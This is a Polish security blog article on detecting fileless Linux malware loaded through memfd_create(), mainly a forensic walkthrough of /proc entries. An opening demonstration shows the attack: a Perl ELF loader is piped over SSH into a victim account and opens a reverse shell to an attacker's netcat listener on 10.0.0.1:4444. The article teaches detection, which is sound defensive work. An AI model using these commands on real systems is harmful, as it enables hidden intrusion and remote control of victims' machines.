NFsec Logo

Wykrywanie szkodliwego oprogramowania stworzonego przez memfd_create()

20/02/2021 w Bezpieczeństwo Brak komentarzy.  (artykuł nr 772, ilość słów: 2794)

Z

memfd_create() spotkaliśmy się przy okazji omawiania obchodzenia flagi montowania noexec. Nie jest to jedyny przypadek, gdzie pomysł bezplikowej metody jest stosowany. Złośliwe oprogramowanie również stosuje bezplikową technikę do wstrzykiwania się w ramach działającego systemu Linux, aby nie pozostawić żadnych śladów na dysku. Przypomnijmy szybko, co robi wywołanie memfd_create(): pozwala na utworzenie pliku, który rezyduje w części pamięci RAM. Strona manualna opisuje to jako:

memfd_create() tworzy anonimowy plik i zwraca deskryptor pliku, który się do niego odnosi. Zachowuje się on jak zwykły plik i może być modyfikowany, obcinany, zmapowany w pamięci itd. Jednakże, w przeciwieństwie do zwykłego pliku żyje w pamięci RAM i ma ulotny magazyn danych.

Możemy pomyśleć o tym, jakby zamiast wywołać polecenie /bin/ls w standardowej ścieżce dostępu Linuksa – załadować polecenie ls do pamięci RAM i odwołać się do niego przez: /lokalizacja_pliku_rezydującego_w_pamięci/ls. To wszystko. Podobnie jak wiele wywołań systemowych, może to mieć uzasadnione zastosowanie ze względu na wydajność. Jednak może być również wykorzystane przez złośliwe oprogramowanie, które nie chce zostawiać śladów w systemie. Ponadto, jeśli system uruchomi się ponownie lub zostanie zamknięty to szkodliwy program zostanie natychmiast usunięty, co może być cenną funkcjonalnością dla atakującego, który chce chronić się przed wykryciem.

Przepuszczenie ataku:

Przykładowy atak możemy przeprowadzić za pomocą demonstracyjnego programu, który został stworzony w ramach artykułu: Wykonywanie ELF tylko w pamięci (bez tmpfs). Mając dostęp do maszyny ofiary, wyślemy szkodliwy plik binarny bezpośrednio przez SSH, więc nic nie zostanie zapisane na dysku? Nie uruchamiamy również interaktywnej powłoki, co zmniejsza ryzyko pozostawienia śladu na serwerze:

agresor@stardust:~$ cat elfload.pl | ssh 10.0.0.2 -l www-data
Making anonymous file...fd 3                                                                                                                           
Writing ELF binary to memory...done                                                                                                                    
Here we go...                                                                                                                                          
2020/02/19 23:55:14 Starting shell callbacks to 10.0.0.1:4444                                                                                     
^Z                                                                                                                                                     
[1]+  Stopped                 cat elfload.pl | ssh 10.0.0.2 perl                                                                                   
agresor@stardust:~$

Przesłany plik został skonfigurowany tak, aby uruchomić powłokę zwrotną. Po uruchomieniu rezyduje w pamięci i próbuje połączyć się z powrotem do serwera atakującego, aby umożliwić mu uruchomienia powłoki na maszynie ofiary:

agresor@stardust:~$ rlwrap -S "$(printf '\033[95mds>\033[m ')" nc -nvlp 4444
Listening on [0.0.0.0] (family 0, port 4444)                                                                                                           
ds> Connection from [10.0.0.2] port 4444 [tcp/*] accepted (family 2, sport 52072)                                                                  
Welcome!
ds> uname -a
Linux darkstar.victim.pl 5.4.0-65-generic #73~18.04.1-Ubuntu SMP Tue Jan 19 09:02:24

Wykrywanie ataku:

Szybkie wykrycie bezplikowych ataków na systemie Linux, z którym mamy powyżej do czynienia, można przeprowadzić za pomocą prostego polecenia ls i grep:

ls -alR /proc/*/exe 2> /dev/null | grep memfd:.*\(deleted\)

Polecenie to przechodzi do katalogu /proc dla wszystkich uruchomionych procesów i sprawdza, czy mają one ścieżkę do pliku wykonywalnego, który ma postać: memfd: (deleted). Taki wpis jest wyjątkowo podejrzany i powszechny w przypadku ataków bezplikowych, dlatego wydanie tego polecenia na “zdrowym” systemie nie powinno zwrócić żadnych wyników. W innym przypadku należy zbadać podejrzany proces:

lrwxrwxrwx 1 root  root  0 Feb 20 20:21 /proc/3980/exe -> /memfd: (deleted)

To trafienie pokazuje nam identyfikator procesu (PID) 3980 i na nim będziemy chcieli się skupić. Po potwierdzeniu podejrzanego procesu możemy użyć kilku bardzo prostych poleceń, aby dowiedzieć się, z czym mamy do czynienia. Większość akcji będzie wykonywana w katalogu /proc. W szczególności przejdźmy do /proc/3980.

root@darkstar:~# cd /proc/3980
root@darkstar:/proc/3980# ls -al

total 0
dr-xr-xr-x   9 www-data www-data 0 Feb 20 20:21 .
dr-xr-xr-x 175 root     root     0 Feb  7 16:47 ..
-r--r--r--   1 root     root     0 Feb 20 20:21 arch_status
dr-xr-xr-x   2 www-data www-data 0 Feb 20 20:21 attr
-rw-r--r--   1 root     root     0 Feb 20 20:21 autogroup
-r--------   1 root     root     0 Feb 20 20:21 auxv
-r--r--r--   1 root     root     0 Feb 20 20:21 cgroup
--w-------   1 root     root     0 Feb 20 20:21 clear_refs
-r--r--r--   1 root     root     0 Feb 20 20:21 cmdline
-rw-r--r--   1 root     root     0 Feb 20 20:21 comm
-rw-r--r--   1 root     root     0 Feb 20 20:21 coredump_filter
-r--r--r--   1 root     root     0 Feb 20 20:21 cpuset
lrwxrwxrwx   1 root     root     0 Feb 20 20:21 cwd -> /
-r--------   1 root     root     0 Feb 20 20:21 environ
lrwxrwxrwx   1 root     root     0 Feb 20 20:21 exe -> /'memfd: (deleted)'
dr-x------   2 root     root     0 Feb 20 20:21 fd
dr-x------   2 root     root     0 Feb 20 20:21 fdinfo
-rw-r--r--   1 root     root     0 Feb 20 20:21 gid_map
-r--------   1 root     root     0 Feb 20 20:21 io
-r--r--r--   1 root     root     0 Feb 20 20:21 limits
-rw-r--r--   1 root     root     0 Feb 20 20:21 loginuid
dr-x------   2 root     root     0 Feb 20 20:21 map_files
-r--r--r--   1 root     root     0 Feb 20 20:21 maps
-rw-------   1 root     root     0 Feb 20 20:21 mem
-r--r--r--   1 root     root     0 Feb 20 20:21 mountinfo
-r--r--r--   1 root     root     0 Feb 20 20:21 mounts
-r--------   1 root     root     0 Feb 20 20:21 mountstats
dr-xr-xr-x   6 www-data www-data 0 Feb 20 20:21 net
dr-x--x--x   2 root     root     0 Feb 20 20:21 ns
-r--r--r--   1 root     root     0 Feb 20 20:21 numa_maps
-rw-r--r--   1 root     root     0 Feb 20 20:21 oom_adj
-r--r--r--   1 root     root     0 Feb 20 20:21 oom_score
-rw-r--r--   1 root     root     0 Feb 20 20:21 oom_score_adj
-r--------   1 root     root     0 Feb 20 20:21 pagemap
-r--------   1 root     root     0 Feb 20 20:21 patch_state
-r--------   1 root     root     0 Feb 20 20:21 personality
-rw-r--r--   1 root     root     0 Feb 20 20:21 projid_map
lrwxrwxrwx   1 root     root     0 Feb 20 20:21 root -> /
-rw-r--r--   1 root     root     0 Feb 20 20:21 sched
-r--r--r--   1 root     root     0 Feb 20 20:21 schedstat
-r--r--r--   1 root     root     0 Feb 20 20:21 sessionid
-rw-r--r--   1 root     root     0 Feb 20 20:21 setgroups
-r--r--r--   1 root     root     0 Feb 20 20:21 smaps
-r--r--r--   1 root     root     0 Feb 20 20:21 smaps_rollup
-r--------   1 root     root     0 Feb 20 20:21 stack
-r--r--r--   1 root     root     0 Feb 20 20:21 stat
-r--r--r--   1 root     root     0 Feb 20 20:21 statm
-r--r--r--   1 root     root     0 Feb 20 20:21 status
-r--------   1 root     root     0 Feb 20 20:21 syscall
dr-xr-xr-x   3 www-data www-data 0 Feb 20 20:21 task
-r--r--r--   1 root     root     0 Feb 20 20:21 timers
-rw-rw-rw-   1 root     root     0 Feb 20 20:21 timerslack_ns
-rw-r--r--   1 root     root     0 Feb 20 20:21 uid_map
-r--r--r--   1 root     root     0 Feb 20 20:21 wchan

Polecenie ls pokazuje nam: mniej więcej datę rozpoczęcia procesu; bieżący katalog roboczy, w którym użytkownik najprawdopodobniej rozpoczął proces ( / ); link exe wskazuje na nieistniejącą już lokalizację pliku binarnego. Ostatni punkt jest najważniejszy. Teraz, kiedy wiemy, że proces ten jest trudnym dzieckiem w naszym systemie przejdźmy dalej z analizą. Pliki comm i cmdline w katalogu /proc powinny pokazać, co system wie o uruchomieniu tego procesu:

root@darkstar:/proc/3980# cat comm
3
root@darkstar:/proc/3980# strings cmdline
[kworker/u!0]

Tym, co naprawdę się tutaj wyróżnia jest rozbieżność w zawartościach tych plików. W większości przypadków w systemie Linux pliki te powinny mieć nazwę binarną, która w dużej mierze pasuje do siebie. Na przykład, jeśli spojrzymy na uruchomiony serwer apache2 to będą one miały postać:

root@darkstar:/proc/21399# cat comm
apache2
root@darkstar:/proc/21399# strings cmdline
/usr/sbin/apache2
start

Ale w naszym przypadku widzimy coś dziwnego. Plik comm to tylko pojedyncza liczba “3”, która jest artefaktem w sposobie jego uruchomienia (odwołuje się do trzeciego deskryptora pliku, w którym został umieszczony / wykonany). Linia z pliku cmdline jest również dziwna (m.in. z powodów omówionych w artykule: Wykrywanie pozorowania procesów jądra za pomocą linii poleceń). Na razie zwróćmy uwagę, że te pliki nie odzwierciedlają spójnej nazwy procesu. Kolejnym krokiem jest sprawdzenie pliku maps, który powinien zawierać mapowania procesów dla pliku binarnego. Powinna pojawić się w nim nazwa procesu oraz nazwy innych bibliotek, których używa on podczas uruchamiania i działania. Zwykle pierwsza część tego pliku zawiera odniesienie do aktualnie uruchomionego pliku binarnego (np. /usr/bin/nano):

root@darkstar:/proc/1423# cat maps
557455c2a000-557456040000 r-xp 00000000 20:21 542291   /memfd: (deleted)
55745623f000-5574562b7000 r--p 00415000 20:21 542291   /memfd: (deleted)
5574562b7000-5574562ce000 rw-p 0048d000 20:21 542291   /memfd: (deleted)
5574562ce000-5574562ec000 rw-p 00000000 00:00 0
7fd95c3bb000-7fd95c5a2000 r-xp 00000000 20:21 318      /lib/x86_64-linux-gnu/libc-2.27.so
7fd95c5a2000-7fd95c7a2000 ---p 001e7000 20:21 318      /lib/x86_64-linux-gnu/libc-2.27.so
7fd95c7a2000-7fd95c7a6000 r--p 001e7000 20:21 318      /lib/x86_64-linux-gnu/libc-2.27.so
7fd95c7a6000-7fd95c7a8000 rw-p 001eb000 20:21 318      /lib/x86_64-linux-gnu/libc-2.27.so

Widzimy ponownie dziwne odniesienie do /memfd: (deleted). Wiele osób nie zdaje sobie sprawy, że w systemie Linux po uruchomieniu procesu często jest do niego dołączona obszerna lista zmiennych środowiskowych. Z pewnością każdy proces rozpoczęty przez użytkownika będzie miał w pliku environ swoje wpisy. Przyjrzyjmy się mu (ze względu na formatowanie użyjemy polecenia strings, które ułatwi nam czytanie, ponieważ duża część plików w /proc zawiera znaki null, które mogą wpływać na formatowanie za pomocą polecenia cat):

root@darkstar:/proc/1423# strings environ
LANG=en_GB.UTF-8
LC_TERMINAL=iTerm2
LC_TERMINAL_VERSION=3.4.2
LC_ALL=en_US.UTF-8
USER=www-data
LOGNAME=www-data
HOME=/var/www
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
MAIL=/var/mail/www-data
SHELL=/bin/bash
SSH_CLIENT=10.0.0.1 50121 666
SSH_CONNECTION=10.0.0.1 50121 10.0.0.2 666
SSH_TTY=/dev/pts/0
TERM=xterm-256color
XDG_SESSION_ID=380
XDG_RUNTIME_DIR=/run/user/33

Nasz proces złośliwego oprogramowania został załadowany do systemu przez SSH i możemy tutaj zobaczyć adres IP, z którego przyszło połączenie (SSH_CLIENT). Skoro wiemy, że proces ten jest na pewno złośliwy. Chwyćmy go. Mimo, że ten plik binarny jest “bezplikowy”, w rzeczywistości można go bardzo łatwo odzyskać.

Więcej informacji: Detecting Linux memfd_create() Fileless Malware with Command Line Forensics, Super-Stealthy Droppers

Kategorie K a t e g o r i e : Bezpieczeństwo

Tagi T a g i : , , , , , ,

Komentowanie tego wpisu jest zablokowane.